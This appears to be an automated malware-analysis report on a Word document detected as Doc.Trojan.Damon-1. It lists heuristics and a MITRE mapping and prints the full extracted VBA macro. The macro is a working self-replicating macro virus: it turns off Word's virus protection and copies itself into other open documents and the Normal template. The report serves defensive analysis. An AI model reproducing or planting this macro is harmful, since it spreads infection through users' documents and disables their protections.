MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malware execution in Office documents. The macro attempts to copy itself to other open documents or the Normal template, indicating a self-propagation or infection spreading behavior. The ClamAV detection 'Doc.Trojan.Damon-1' further supports the malicious nature of the file.
Heuristics 3
-
ClamAV: Doc.Trojan.Damon-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Damon-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1782 bytes |
SHA-256: 3f32010ea91b39c3c78c70259ed8038b6426f1deb03463eb87db30bec85df3f2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next Options.VirusProtection = 0 Options.SaveNormalPrompt = 0 Options.ConfirmConversions = 0 TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) If Documents.Count > 1 Then A = Int(Rnd * Documents.Count) + 1 If A > Documents.Count Then A = A - 1 If Documents.Item(A) = ThisDocument Then End Set Target = Documents.Item(A).VBProject.VBComponents.Item(1).CodeModule Target.DeleteLines 1, Target.CountOfLines Target.AddFromString TD Documents.Item(A).SaveAs FileName:=Documents.Item(A).FullName Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule Host.DeleteLines 1, Host.CountOfLines ThisDocument.SaveAs FileName:=ThisDocument.FullName Else If ThisDocument = ActiveDocument Then Set Target = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule Target.DeleteLines 1, Target.CountOfLines Target.AddFromString TD Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule Host.DeleteLines 1, Host.CountOfLines ThisDocument.SaveAs FileName:=ThisDocument.FullName End If If ThisDocument = NormalTemplate Then Set Target = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule Target.DeleteLines 1, Target.CountOfLines Target.AddFromString TD ActiveDocument.SaveAs FileName:=ActiveDocument.FullName Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule Host.DeleteLines 1, Host.CountOfLines End If End If End Sub 'Nomad By Lys Kovick |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.